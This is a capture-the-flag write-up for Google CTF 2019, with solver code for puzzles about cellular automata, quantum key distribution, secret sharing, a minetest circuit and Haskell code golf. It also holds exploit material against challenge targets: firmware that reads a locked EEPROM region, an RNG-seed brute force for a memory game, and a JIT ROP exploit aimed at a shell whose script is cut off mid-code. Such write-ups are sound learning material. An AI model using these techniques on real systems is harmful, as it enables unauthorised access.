# Google CTF 2019 Write-Up
Team LeaveCat-PLUS

## Reverse a cellular automata

rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))

### Challenge - Rule 126

The Wolfram rule 126 is:

1. The current color of the cell is same as the current color of the left one and the right one, then the next color of the cell will be 0 (white).
2. Else, the next color of the cell will be 0 (black).

Check http://mathworld.wolfram.com/Rule126.html for detail.

We can define `rule126(s)` in python:

def rule126(s):
    ret = ''
    if s[-1] + s[:2] in ['000', '111']:
        ret += '0'
    else:
        ret += '1'

    for i in range(0, len(s) - 2):
        if s[i:i+3] in ['000', '111']:
            ret += '0'
        else:
            ret += '1'

    if s[-2:] + s[0] in ['000', '111']:
        ret += '0'
    else:
        ret += '1'

    return ret

Run `rule126(format(deadbeef, '032b'))` to check `rule126('0xdeadbeef') = 0x73ffe3b8 = 0b01110011111111111110001110111000`.

### Solver

Let's see the given step: `66de3c1bf87fdfcf = 0110011011011110001111000001101111111000011111111101111111001111`

If there's a pattern like `XX1001XX`, then the previous pattern must be either `X100001X` or `X011110X`.

Also, if there's a pattern like `XX1001101XX`, then the previous pattern must be either `X100001110X` or `X011110001X`.

Current   : XX1001XX XX1001101XX
Candidate1: X100001X X100001110X
Candidate2: X011110X X011110001X

So we can split `66de3c1bf87fdfcf` into multiple binary sequences:

`0110011011011/1100011/110000011011/1/1/1/11000011/1/1/1/1/1/11011/1/1/1/110011/1/1`

Run backtracking for those sequences.

import os
import time

def rule126(s):
    ret = ''
    if s[-1] + s[:2] in ['000', '111']:
        ret += '0'
    else:
        ret += '1'

    for i in range(0, len(s) - 2):
        if s[i:i+3] in ['000', '111']:
            ret += '0'
        else:
            ret += '1'

    if s[-2:] + s[0] in ['000', '111']:
        ret += '0'
    else:
        ret += '1'

    return ret


def inv(s):
    return "".join([ '0' if c == '1' else '1' for c in s ])

ans = '0110011011011110001111000001101111111000011111111101111111001111'
segments = ['0011110001110', '0111110', '011111110001', '0', '0', '0', '01111110', '0', '0', '0', '0', '0', '01110', '0', '0', '0', '011110', '0', '0']

def run_decrypt(s):
    #print(s)
    os.system('echo "{}" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key'.format(s))
    os.system('echo "U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key > out 2>/dev/null')

    time.sleep(0.05)
    with open('out', 'r') as f:
        t = f.read()
        if t.startswith('CTF{'):
            print(t)

def backtrack(idx, ss):
    if idx == len(segments):
        if rule126(ss) == ans:
            run_decrypt(hex(int(ss, 2))[2:])
        return

    backtrack(idx + 1, ss + segments[idx])
    backtrack(idx + 1, ss + inv(segments[idx]))

print(len(segments))
backtrack(0, '')

The flag is `CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}`

## Quantum Key Distribution

rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))

### Observation

Let's focus on `'+'`.

`measure()` always returns `0` if the qubit was `[{'real': 1, 'imag': 0}] ` and the basis was `['+']`.

Also, `measure()` always returns if the qubit was `[{'real': 0, 'imag': 1}]` and the basis was `['+']`.

Let's generate the basis/qubits in this way:

import random

numbers = [random.choice([0, 1]) for _ in range(512)]
basis = ['+' for _ in range(512)]
qubits = [
    {'real': 1, 'imag': 0} if n == 0
    else {'real': 0, 'imag': 1}
    for n in numbers
]

Because the satellite sends `sat_basis`, we can know what is `binary_key`.

### Solver

The problem is that this amazing challenge never let you know about how does the satellite encode its encryption key.

I guessed XOR encoding is used, and it was right.

You can get the key by this solver:

import requests
import random
import json

def get_res():
    while True: 
        url = 'https://cryptoqkd.web.ctfcompetition.com/qkd/qubits'

        numbers = [random.choice([0, 1]) for _ in range(512)]
        basis = ['+' for _ in range(512)]
        qubits = [
            {'real': 1, 'imag': 0} if n == 0
            else {'real': 0, 'imag': 1}
            for n in numbers
        ]

        r = requests.post(url, json = {'basis': basis, 'qubits': qubits} )

        data = json.loads(r.text)

        if 'announcement' not in data:
            continue

        selected = ''
        for i in range(512):
            if data['basis'][i] == '+':
                selected += str(numbers[i])
            
            if len(selected) == 128:
                break

        selected = int(selected, 2)
        announcement = int(data['announcement'], 16)

        return selected ^ announcement

print(hex(get_res()))

The encryption key is `946cff6c9d9efed002233a6a6c7b83b1`. Decrypt the flag as the description:

echo "946cff6c9d9efed002233a6a6c7b83b1" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key

echo "U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key

The flag is `CTF{you_performed_a_quantum_key_exchange_with_a_satellite}`

## reality

rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))

### Observation

#### Rational numbers?

The server gives the message:

Here's a base32-encoded and encrypted flag: D2SWWNYLMPMTTP7UW3T2F7FB2WOKOW5FUQ6WRVNMWT63BI67I5VA====
To decrypt it you need 5 coefficients. I'll only give you 3
coefficients 1: 2.0945512139243126233469390966360659337566116560570502079314005312920111552779441953774894661811248923249434458063356813045144451738000409728324786283244189653211632334172188625730838828584623073526630001075455309671768407743114126035507986035164219478542944008295598404824603193870943526268627388635662559434827257965507938362636390732870229130109017957040309828225410794084869972867552751592774329207305057228919234690703095689738097446631802945448800903485153655428648702329054967372406281694955299, 10593855629728827920827256221626211304992.836603609726308302538078894100451884984770524981510779766550857898195108464031096658272927085308914573437501941944929057318604688496985205516429806077602940719378336302790794024785262641881630621701233638451025553225221966286383961378218756204796424786460385634478507184509631336318772841179518883712468903422125099396057737556158848338231021018891157487420562948378526890019734689678010377123446496576453274137857709100701448487573348579987170560611831287291
coefficients 2: 2.4065205281037179477528148299682309976183335749937438975329920643020630729552692039825212203835802415083144557417844263808166005415275071106548594399258430140616144910602223633781235577095567502991345655517577843409394744371049454763726851591253431098981079674632438789593191145417952189537652891438460589519410402807146160038616237949557901984375562929002361536709136525830039617460420607185083067684027304304867466182803339166042677788465014242808520387211413011609818987554787554609156536903610982, 16950843997649065541284766903716731581745.513245535979118069870972133820306493521295248126705128140801175873672218386769728170045545814667256670033892752923044916584965166251437565739974533466022980086394689150887567774160570245434136607846349851075032436110440353674844114234316452550624085772612474961417156521571607601399928082684090429389790662653354804015347744762083147875169422313699613304752607123504184836734364541787006877660000368844015046933698636228414911746833351246074214674344253832007
coefficients 3: 1.5586588207077916179653813573757210945561686428609682927444544689923105921929271884983317834956872418520047216107873723710170457903379148917772638243271309429382214242311798679009761887618677411797452820615801998952089722326428089099112893362098522820419022026002969128896360836338655322498896596211953989151888882370769247203426877965689979751782925123759774346725526052163019747387876076255853027638497928036510217726119087721654270066579054597098505220640325737400315938947237184626695256993723173, 4167376841526428783277823999611602353745.5934158836248692478030311902494994384982077929346877358252299669419058637817361772585933813606946709135254497872872263228189698008112787227014651937368578473641945692023708674155245002695864833166955165967077482337977737603293196712399542332928566257159422738904827708059360344192871378724419134352625621339214222569845520982541701771286652933622778004746264758030891828096125590291950316352752552041637886926123947006758918924779322291021906987795727788324489

Also the descript says: `Shamir did the job for you, just connect to the challenge and get the flag.`

So it must be Shamir's Secret Sharing(SSS). SSS usually defined in finite field, but this challenge plays with real numbers.

**First**, you need to find out this amazing thing:

from sympy import *

# From coefficients 1
c1 = N('2.0945512139243126233469390966360659337566116560570502079314005312920111552779441953774894661811248923249434458063356813045144451738000409728324786283244189653211632334172188625730838828584623073526630001075455309671768407743114126035507986035164219478542944008295598404824603193870943526268627388635662559434827257965507938362636390732870229130109017957040309828225410794084869972867552751592774329207305057228919234690703095689738097446631802945448800903485153655428648702329054967372406281694955299', 500)

print(1 / c1)

The result is: `0.47742924276672060734938440873520448803901672363281249999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999998`.

WOW! It seems very rational. YES, it's surely rational number, and its form is `10^53 / (some integer)`.

So, we can convert the values to `a / b` form, and this is number theory challenge.

### Shamir's Secret Sharing

The server says: `To decrypt it you need 5 coefficients`. It means we need to figure out polynomial of degree 4: $a_4x^4 + a_3x^3 + a_2x^2 + a_1x^1 + a_0$, and $a_0$ is the secret we want.

The server gives us three pairs: $(x_1, y_1), (x_2, y_2), (x_3, y_3)$. From the above section, we can calculate $x_i = q_i / p_i$ where $p_i, q_i$ are integers and $gcd(p_i, q_i) = 1$.

By multiplying $p_i^4$ on the both sides of the equation $y_i = a_4x_i^4 + a_3x_i^3 + a_2x_i^2 + a_1x_i^1 + a_0$, we can get $p_i^4y_i = a_4q_i^4 + a_3q_i^3p_i + a_2q_i^2p_i^2 + a_1q_ip_i^3 + a_0p_i^4$.

If we **guess** that $a_0$ is 16-byte long (like the key size of AES), you can observe the size of $q_i$ by running code and find out that $q_i^3$ is always greater than 16-byte integer.

So we can play in $\mathrm{mod}\ q_i^3$: $p_i^4y_i \equiv a_2q_i^2p_i^2 + a_1q_ip_i^3 + a_0p_i^4 (\mathrm{mod}\ q_i^3)$.

Also, from another observation, $q_0 = q_1 = q_2$ _often_ holds.

So in that case, for $q = q_0 = q_1 = q_2$, we can get three modular equations which have a form of $p_i^4y_i \equiv a_2q^2p_i^2 + a_1qp_i^3 + a_0p_i^4 (\mathrm{mod}\ q^3)$.

We can calculate $ca_0 (\mathrm{mod}\ q^3)$ with an integer $c$ by solving the system of modular equations.

Fortunately, $gcd(c, q^3) \leq 256$ holds and you can get $a_0$ easily, because $q^3$ is much greater than 16-byte integers.

### Decryption

Then, how can we decrypt the flag? We can **guess** again. How about AES-CBC?

Yes, it's right. It was AES-CBC.

### Solver

The solver is here:

from sympy import *
from pwn import *
from Crypto.Cipher import AES
import base64

def xgcd(a, b):
    """return (g, x, y) such that a*x + b*y = g = gcd(a, b)"""
    x0, x1, y0, y1 = 0, 1, 1, 0
    while a != 0:
        q, b, a = b // a, a, b % a
        y0, y1 = y1, y0 - q * y1
        x0, x1 = x1, x0 - q * x1
    return b, x0, y0

def mulinv(a, b):
    """return x such that (x * a) % b == 1"""
    g, x, _ = xgcd(a, b)
    if g == 1:
        return x % b

while True:
    r = remote('reality.ctfcompetition.com', 1337)
    l0 = r.recvuntil('\n')
    flag_enc = base64.b32decode(l0.split(': ')[1][:-1])

    #print(hex(flag_enc))
    r.recvuntil('\n')

    l = [r.recvuntil('\n') for _ in range(3)]
    r.close()

    x = [N(l[i][16:].split(',')[0], 500) for i in range(3)]
    y = [N(l[i][16:].split(',')[1], 500) for i in range(3)]

    # Every x is ((10 ** 53) / sth)
    t = [ int((N('1.0', 500) / x[i] * (10 ** 53)).round(0)) for i in range(3) ]
    gcd = [ xgcd(t[i], 10 ** 53)[0] for i in range(3) ]

    p = [ t[i] // gcd[i] for i in range(3) ]
    q = [ (10 ** 53) // gcd[i] for i in range(3) ]

    # For convinience, skip for differenct qs.
    if not (q[0] == q[1] == q[2]):
        print("Qs are different", hex(q[0]), hex(q[1]), hex(q[2]))
        continue

    q = q[0]
    q_t = q ** 3

    y = [ int((y[i] * (p[i] ** 4)).round(0)) % q_t for i in range(3) ]
    
    y01 = (y[0] * (p[1] ** 2) - y[1] * (p[0] ** 2)) % q_t
    y12 = (y[1] * (p[2] ** 2) - y[2] * (p[1] ** 2)) % q_t

    c00 = ( (p[0] ** 4) * (p[1] ** 2) - (p[1] ** 4) * (p[0] ** 2) ) % q_t
    c10 = ( (p[1] ** 4) * (p[2] ** 2) - (p[2] ** 4) * (p[1] ** 2) ) % q_t
    c01 = ( (p[0] ** 3) * (p[1] ** 2) - (p[1] ** 3) * (p[0] ** 2) ) % q_t
    c11 = ( (p[1] ** 3) * (p[2] ** 2) - (p[2] ** 3) * (p[1] ** 2) ) % q_t

    y = (y01 * c11 - y12 * c01) % q_t
    c = (c00 * c11 - c10 * c01) % q_t

    gcd = xgcd(q_t, c)[0]

    y = (y * mulinv(c // gcd, q_t)) % (q_t)

    # y is much smaller than q_t (it's 32byte), so just divide
    y //= gcd
    key = ''
    for i in range(16):
        key = chr(y % 256) + key
        y //= 256
    cipher = AES.new(key, AES.MODE_CBC, chr(0) * 16)
    print(cipher.decrypt(flag_enc))
    break

The flag is `CTF{h0w-r3al-is-y0ur-Re4l-4Real}`

## flagrom
### Analysis

When we executes the 8051 MCU emulator (`flagrom`), it does the following steps:

1. Reads the flag, the firmware (`firmware.8051`) and a user-crafted firmware.
2. Loads the firmware (`firmware.8051`) on the memory of the emulated 8051 MCU and executes it.
3. Loads and executes the user-crafted firmware in the same way.

And analyzing the source code of the firmware (`firmware.c`), we found that the MCU would do the following steps:

1. Writes the flag to the SEEPROM which is also emulated by `flagrom`.
2. Locks the region of SEEPROM in which the flag is written. (SEEPROM consists of 4 regions)

I2C protocol is used for the communication between the MCU and SEEPROM.

The goal is to read the flag from the secured region.

### Idea of Exploit

The validity of r/w address is checked when we directly set its value. And the read requests on the two consecutive memory regions is prohibited if the regions are both secured or not secured.

So, if we set the r/w address to point the memory region that physically precedes the region in which the flag is stored, lock the region and start reading, we can successfully get the flag through the consecutive read requests.

Using the I2C module of the emulated MCU, we cannot keep the r/w address pointing the secured region.
So we modified the given C code (`firmware.c`) to make the emulated MCU use the GPIO module to communicate with SEEPROM, not the I2C module.

### Exploit Code

As mentioned above, we modified the C code and compiled it with SDCC (Small Device C Compiler) to get the resulting .ihx file. The .ihx file was then converted to the user-crafted firmware by a simple python script.

Below is the C code used to make the final firmware.

__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) DEBUG;
__sfr __at(0xfd) CHAROUT;
__xdata __at(0xff00) unsigned char FLAG[0x100];

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

// I2C-M module/chip control data structure.
__xdata __at(0xfe00) unsigned char I2C_ADDR; // 8-bit version.
__xdata __at(0xfe01) unsigned char I2C_LENGTH;  // At most 8 (excluding addr).
__xdata __at(0xfe02) unsigned char I2C_RW_MASK;  // 1 R, 0 W.
__xdata __at(0xfe03) unsigned char I2C_ERROR_CODE;  // 0 - no errors.
__xdata __at(0xfe08) unsigned char I2C_DATA[8];  // Don't repeat addr.
__sfr __at(0xfc) I2C_STATE;  // Read: 0 - idle, 1 - busy; Write: 1 - start

const unsigned char SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const unsigned char SEEPROM_I2C_ADDR_SECURE = 0b01010000;

void print(const char *str) {
  while (*str) {
    CHAROUT = *str++;
  }
}

void write(const char* str, unsigned char size) {
  unsigned char i = 0;
  for (i = 0; i < size; i++) {
    CHAROUT = *str++;
  }
}

void start() {
  RAW_I2C_SCL = 0;
  RAW_I2C_SDA = 1;
  RAW_I2C_SCL = 1;
  RAW_I2C_SDA = 0;
}

unsigned char wait_ack() {
  unsigned char ret;
  RAW_I2C_SCL = 0;
  RAW_I2C_SCL = 1;
  ret = RAW_I2C_SDA;
  return ret;
}

void raw_send(unsigned char data) {
  signed int i;
  for (i = 7; i >= 0; i--) {
    RAW_I2C_SCL = 0;
    RAW_I2C_SDA = ((data >> i) & 1);
    RAW_I2C_SCL = 1;
  }
}

unsigned char raw_recv() {
  unsigned char ret = 0;
  signed int i;
  for (i = 7; i >= 0; i--) {
    RAW_I2C_SCL = 0;
    RAW_I2C_SCL = 1;
    ret *= 2;
    ret += RAW_I2C_SDA;
  }
  return ret;
}

void set_addr(unsigned char addr) {
  unsigned char ack;

  raw_send(SEEPROM_I2C_ADDR_MEMORY);
  ack = wait_ack();
  // state load_addr

  raw_send(addr);
  ack = wait_ack();
  // state write

  start();
  // state start
}

void read() {
  unsigned char ack;

  raw_send(SEEPROM_I2C_ADDR_MEMORY | 1);  // read
  ack = wait_ack();
  // state read

  char s[60];
  unsigned int i;
  for (i = 0; i < 60; i++) {
    s[i] = raw_recv();
    ack = wait_ack();
  }

  start();
  // state start
  write(s, 60);
}

void secure(unsigned char mask) {
  unsigned char ack;

  raw_send(SEEPROM_I2C_ADDR_SECURE | (mask & 0b1111));
  ack = wait_ack();
  // state idle

  start();
  // state start
}

void main(void) {
  start();
  set_addr(60);
  secure(0b1111);
  read();
  POWEROFF = 1;
}

## minetest

rbtree([@RBTree_Pg](https://twitter.com/RBTree_Pg_))

### Reading minetest map

The map data is in `map.sqlite` file. There's the table named `blocks`, and the schema of the table is `pos: INT, data: BLOB`.

Each `data` consists of a chunk. The size of each chunk is 16x16x16.

The data is zlib-compressed, and you can use MtBlockParser from https://github.com/AndrejIT/map_unexplore/blob/master/mt_block_parser.py to parse it.

Also, you need to check out the data format from https://github.com/minetest/minetest/blob/master/doc/world_format.txt.

If you enter the map, you can find out that there's a giant circuit set up on a surface. It uses blocks from the [mesecons](http://mesecons.net/) mod.

You can find chunks containing mesecons blocks by searching the string `"mesecons"` in the `nameIdMappings` of each chunk.

Also there are arrays of `param0`, `param1`, `param2`. `param0` is the type of the block, and `param1` and `param2` is used for telling the direction of the block, or some additional information for the block.

From them, you can generate the circuit map from the sqlite file. Here's the code (`map_gen.py`):

import sqlite3
import mt_block_parser

# From https://github.com/minetest/minetest/blob/master/doc/world_format.txt
def getIntegerAsBlock(i):
    x = unsignedToSigned(i % 4096, 2048)
    i = int((i - x) / 4096)
    y = unsignedToSigned(i % 4096, 2048)
    i = int((i - y) / 4096)
    z = unsignedToSigned(i % 4096, 2048)
    return x,y,z

def unsignedToSigned(i, max_positive):
    if i < max_positive:
        return i
    else:
        return i - 2*max_positive

conn = sqlite3.connect('data/map.sqlite')
cur = conn.cursor()
cur.execute("Select pos, data from blocks")

paramsAscii = dict()

paramsAscii[(b'air', 15, 3)] = ' '
paramsAscii[(b'air', 15, 0)] = ' '
paramsAscii[(b'ignore', 15, 0)] = ' '
paramsAscii[(b'mesecons_insulated:insulated', 15, 0)] = '─'
paramsAscii[(b'mesecons_insulated:insulated', 15, 3)] = '│'
paramsAscii[(b'mesecons_extrawires:crossover', 15, 3)] = '┼'
paramsAscii[(b'mesecons_extrawires:crossover', 14, 3)] = '┼'

paramsAscii[(b'mesecons_extrawires:corner', 15, 0)] = '┘'
paramsAscii[(b'mesecons_extrawires:corner', 15, 1)] = '┐'
paramsAscii[(b'mesecons_extrawires:corner', 15, 2)] = '┌'
paramsAscii[(b'mesecons_extrawires:corner', 15, 3)] = '└'

paramsAscii[(b'mesecons_extrawires:tjunction', 15, 1)] = '┤'
paramsAscii[(b'mesecons_extrawires:tjunction', 15, 3)] = '┣'

paramsAscii[(b'mesecons_gates:and', 14, 3)] = '&'
paramsAscii[(b'mesecons_gates:or', 14, 3)] = '|'
paramsAscii[(b'mesecons_gates:not', 14, 3)] = '~'
paramsAscii[(b'mesecons_gates:xor', 14, 3)] = '^'
paramsAscii[(b'mesecons_lamp:lamp', 15, 1)] = 'L'
paramsAscii[(b'mesecons_walllever:wall_lever', 15, 0)] = 'Y'

count = 0

final_map = [[" " for i in range(1328)] for j in range(1952)]

for row in cur:
    count += 1
    if count % 1000 == 0:
        print(count)
    bigx, bigy, bigz = getIntegerAsBlock(row[0])
    data = row[1]
    block = mt_block_parser.MtBlockParser(data)

    # Only handle chunks with mesecons block
    if block.nameIdMappingsRead.find(b'mesecons') == -1:
        continue
    # Generate nameIdMappings
    block.nameIdMappingsParse()
    # Generate nodeData to param0/1/2
    block.nodeDataParse()

    # Mesecons blocks are in y=2
    for smallz in range(16):
        s = ""
        y, z = bigy * 16 + 2, bigz * 16 + smallz
        for smallx in range(16):
            smallidx = smallz * 16 * 16 + 2 * 16 + smallx
            x = bigx * 16 + smallx

            name = block.nameIdMappings[block.arrayParam0[smallidx]]

            if len(name) > 10:
                if name[-4:] == b'_off':
                    name = name[:-4]
                elif name[-3:] in [b'_on', b'_01', b'_10']:
                    name = name[:-3]
            params = (name, block.arrayParam1[smallidx], block.arrayParam2[smallidx])
            final_map[z][x] = paramsAscii[params]

conn.close()

with open('map.txt', 'w', encoding='utf-8') as f:
    for z in range(1952):
        for x in range(1327):
            f.write(final_map[z][x])
        f.write('\n')

### Solving the circuit

Each wire/gate/lever/lamp has its own value (0 or 1). Use z3 to solve it.

import sys
sys.setrecursionlimit(10000)

with open('map.txt', 'r', encoding='utf8') as f:
    data = f.read().split('\n')[:-1]

    
# Step 1: Analyse the map and group into 'objects'
zlen, xlen = len(data), len(data[0])
print(zlen, xlen)
check = [ [None for i in range(xlen) ] for j in range(zlen) ]
objs = [] # ('object type', [endpoint0, endpoint1, ...])

check_count = 0

def dfs(z, x, check_count, prev, debug=False):
    global check
    if debug:
        print(z, x, check_count, prev, data[z][x])
    if data[z][x] in 'YL~&^| ':
        if prev == 2:
            return [(z, x)]
        return []

    # Wires!
    if data[z][x] != '┼':
        check[z][x] = check_count
    else:
        if check[z][x] is None:
            if prev in [0, 1]:
                check[z][x] = [check_count, None]
            else:
                check[z][x] = [None, check_count]
        else:
            if prev in [0, 1]:
                check[z][x][0] = check_count
            else:
                check[z][x][1] = check_count
    
    endpoints = []
    if prev != 1 and x > 0 and (data[z][x] in ['─', '┘', '┐', '┤'] or (data[z][x] == '┼' and prev in [0, -1])):
        endpoints += dfs(z, x - 1, check_count, 0, debug)
    if prev != 0 and x < xlen - 1 and (data[z][x] in ['─', '└', '┌', '┣'] or (data[z][x] == '┼' and prev in [1, -1])):
        endpoints += dfs(z, x + 1, check_count, 1, debug)
    if prev != 3 and z > 0 and (data[z][x] in ['│', '┘', '└', '┤', '┣'] or (data[z][x] == '┼' and prev in [2, -1])):
        endpoints += dfs(z - 1, x, check_count, 2, debug)
    if prev != 2 and z < zlen - 1 and (data[z][x] in ['│', '┐', '┌', '┤', '┣'] or (data[z][x] == '┼' and prev in [3, -1])):
        endpoints += dfs(z + 1, x, check_count, 3, debug)

    return endpoints

for z in range(zlen):
    for x in range(xlen):
        if data[z][x] == ' ':
            continue

        if check[z][x] is not None:
            # In the case of '┼', this might work wrong
            # But it seems it's okay with this map
            continue

        if data[z][x] == 'Y': # Lever, only output
            check[z][x] = check_count
            objs.append(
                ('Y', [(z + 1, x)])
            )
            check_count += 1
        elif data[z][x] == 'L': # Lamp, only input
            check[z][x] = check_count
            objs.append(
                ('L', [(z - 1, x)])
            )
            check_count += 1
        elif data[z][x] == '~': # Not gate, 1 input and 1 output
            check[z][x] = check_count
            objs.append(
                ('~', [(z - 1, x), (z + 1, x)])
            )
            check_count += 1
        elif data[z][x] in '&|^': # Other gates, 2 inputs and 1 output
            check[z][x] = check_count
            objs.append(
                (data[z][x], [(z, x - 1), (z, x + 1), (z + 1, x)])
            )
            check_count += 1
        elif data[z][x] != '┼': # Wires
            endpoints = sorted(dfs(z, x, check_count, -1))
            objs.append(
                ('wire', endpoints)
            )
            check_count += 1

print(check_count)

# Step 2: Solve with z3
from z3 import *

X = [ Bool("X_{}".format(i)) for i in range(check_count) ]
conds = []
for i, obj in enumerate(objs):
    if obj[0] == 'Y':
        continue
    elif obj[0] == 'L':
        zx = obj[1][0]
        endpoint = check[zx[0]][zx[1]]
        if type(endpoint) is list:
            endpoint = endpoint[1]
        conds.append( X[i] == X[endpoint] )
        conds.append( X[i] )
    elif obj[0] == '~':
        zx = obj[1][0]
        endpoint = check[zx[0]][zx[1]]
        if type(endpoint) is list:
            endpoint = endpoint[1]
        conds.append( X[i] == Not(X[endpoint]) )
    elif obj[0] in '&|^':
        zx = obj[1][0]
        endpoint1 = check[zx[0]][zx[1]]
        if type(endpoint1) is list:
            endpoint = endpoint1[0]
        zx = obj[1][1]
        endpoint2 = check[zx[0]][zx[1]]
        if type(endpoint2) is list:
            endpoint = endpoint2[0]

        if obj[0] == '&':
            conds.append( X[i] == And(X[endpoint1], X[endpoint2]))
        elif obj[0] == '|':
            conds.append( X[i] == Or(X[endpoint1], X[endpoint2]))
        else:
            conds.append( X[i] == Xor(X[endpoint1], X[endpoint2]))
    elif obj[0] == 'wire':
        zx = obj[1][0]
        endpoint = check[zx[0]][zx[1]] # It must be gate
        conds.append( X[i] == X[endpoint] )

s = Solver()
s.add(conds)
if s.check() == sat:
    m = s.model()
    ans = [ '1' if is_true(m[X[i]]) else '0' for i in range(40) ]
    print(''.join(ans))
else:
    print("UNSAT")

The flag is `CTF{1110010101000101110010111110000110011001}`

---

## Code Golf

*Code Golf* is a problem about writing a short [Haskell](https://www.haskell.org/) code. We have to write a function `g`, which takes a list of strings as an argument and returns a single string. The given strings have a few holes in them, such as `"ha m"` and `"ck m"`. Function `g` needs to find offsets for each strings, overlay them, and return it.

The rules for the correct answer are as follows:

1. The correct offset will never cause two characters to occupy the same column.
2. The correct offset will minimize the length of the final text after trimming leading and trailing spaces.
3. If there are multiple possible decryptions that follow the above rules, the lexicographically first one is correct.
4. The length of the answer code should not exceed 181 bytes.

According to the rules, the answer for `["ha m", "ck m"]` is `"hackme"`.

This is our 176 bytes solution for the problem.

' '?y=y
x?' '=x
_?_='~'
(x:c)??(y:d)=x?y:c??d
x??y=x++y
""#[]=[(0,"")]
x#y=[(c+1,a:d)|a:b<-[x],a/='~',(c,d)<-b#y]++[c|a:b<-[y],c<-x??a#b]
g a=snd$minimum$(#)""=<<permutations a

We defined four functions, `?`, `??`, `#`, and `g`.

`?` is a character overlay function. If one of them is a blank character, it will return the other character. Otherwise, it will return `~`. Here, tilde has no special meaning and is used as a placeholder.

`??` is a string overlay function. It compares the characters in two strings one by one and overlay them with function `?`. If one of them is shorter then the other one, it will concat the rest of the string to the result.

`#` defines the main algorithm. It takes two arguments `a` and `b`. `a` is the remaining suffix and `b` is the list of remaining strings. Its return value is the list of all possible non-overlapping overlay result as a pair, whose first value is the length of a string and the second value is the string. We utilized Haskell list comprehension to perform pattern matching and condition check at once.

Finally, function `g` plugs in all possible permutations of the input strings to `#`, finds the shortest and lexicographically first answer, and return it.

## Doomed to Repeat It

This is a (golang + javascript) memory game.

### Vulnerability

// OsRand gets some randomness from the OS.
func OsRand() (uint64, error) {
	// 64 ought to be enough for anybody
	var res uint64
	if err := binary.Read(rand.Reader, binary.LittleEndian, &res); err != nil {
		return 0, fmt.Errorf("couldn't read random uint64: %v", err)
	}
	// Mix in some of our own pre-generated randomness in case the OS runs low.
	// See Mining Your Ps and Qs for details.
	res *= 14496946463017271296
	fmt.Println("random", res);
	return res, nil
}

`hex(14496946463017271296) == 0xc92f800000000000` the lower bits of pre-generated randomness are zero. Only Ffwer seeds are generated, that can be bruteforced.

### Exploit

func main() {
	a := [28][28][28][28][]int{}

	b := &board{
			nums:    make([]int, 56),
			visible: make([]bool, 56),
		}

	for loop := 0; loop < 0x100000; loop++ {
		// fmt.Println(i)
		if (loop % 0x1000 == 0) {
			fmt.Println("here", loop / 0x1000)
		}

		rand, _ := random.New2(uint64(loop))
		
		// BoardSize is even
		for i, _ := range b.nums {
			b.nums[i] = i / 2
		}
		// https://github.com/golang/go/wiki/SliceTricks#shuffling
		for i := 56 - 1; i > 0; i-- {
			j := rand.UInt64n(uint64(i) + 1)
			// fmt.Println(j);
			b.nums[i], b.nums[j] = b.nums[j], b.nums[i]
		}

		a[b.nums[0]][b.nums[1]][b.nums[2]][b.nums[3]] = append(a[b.nums[0]][b.nums[1]][b.nums[2]][b.nums[3]], loop)
	}

	file, _ := json.Marshal(a)
 
	_ = ioutil.WriteFile("test.json", file, 0644)
	...

protocol = window.location.protocol === 'https:' ? 'wss://' : 'ws://';
ws = new WebSocket(protocol + window.location.host + '/ws');

let table = [];

ws.onopen = () => {
	ws.send(JSON.stringify({op: 'guess', body: {X: 0, Y: 0}}));
	ws.send(JSON.stringify({op: 'guess', body: {X: 1, Y: 0}}));
	ws.send(JSON.stringify({op: 'guess', body: {X: 2, Y: 0}}));
	ws.send(JSON.stringify({op: 'guess', body: {X: 3, Y: 0}}));
}
ws.onmessage = (x) => {
    let y = JSON.parse(x.data);
    let board = y.board;
	for (let i=0; i<board.length; i++) {
		if (board[i] != -1) table[i] = board[i]
    }
	console.log('Find..', table)
};

function submit(answer) {
	table = answer;
	console.log('pre', table);
	let i, j;
	for (i=0; i<answer.length; i++) {
		if (table[i] == -1) continue;
		for (j=i+1; j<answer.length; j++) {
			if (table[i] == table[j]) break;
        }
		console.log('answer!', i, j, table[i], table[j]);
		table[i] = table[j] = -1;
		ws.send(JSON.stringify({op: 'guess', body: {X: parseInt(i%7), Y: parseInt(i/7)}}));
		ws.send(JSON.stringify({op: 'guess', body: {X: parseInt(j%7), Y: parseInt(j/7)}}));
    }
}

---

## JIT

We read on the internet that Java is slow so we came up with the solution to speed up some computations!

nc jit.ctfcompetition.com 1337

### problem

`Integer.parseInt` gets unicode strings. However libcompiler.run() gets real bytes of unicode string that we can bypass restrictions.

### solve

#### step 1

set rop payload on data area.

#### step 2

execute `mov rsp, r12` instruction. At first, we thought of `xchg rsp, r12`, but it is quite annoying to set `rdi = "/bin/sh"` .

### exploit code

#-*- coding: utf-8 -*-
from pwn import *
from ctypes import CDLL

prog = [
"MOV({}, {})",
"ADD(A, {})",
"SUB(A, {})",
"CMP(A, {})",
"LDR({}, {})",
"STR({}, {})",
"SUM()",
"JMP({})",
"JEQ({})",
"JNE({})",
]

reg = [
"A",
"B",
]

def genAsm(i):
  rv = randint(0, 9)
  ga = prog[rv] 
  if rv == 6:
    return ga
  elif 'LDR' in ga or 'STR' in ga :
    return ga.format(reg[randint(0,1)], randint(0,30))
  elif 'ADD' in ga or 'SUB' in ga or 'CMP' in ga:
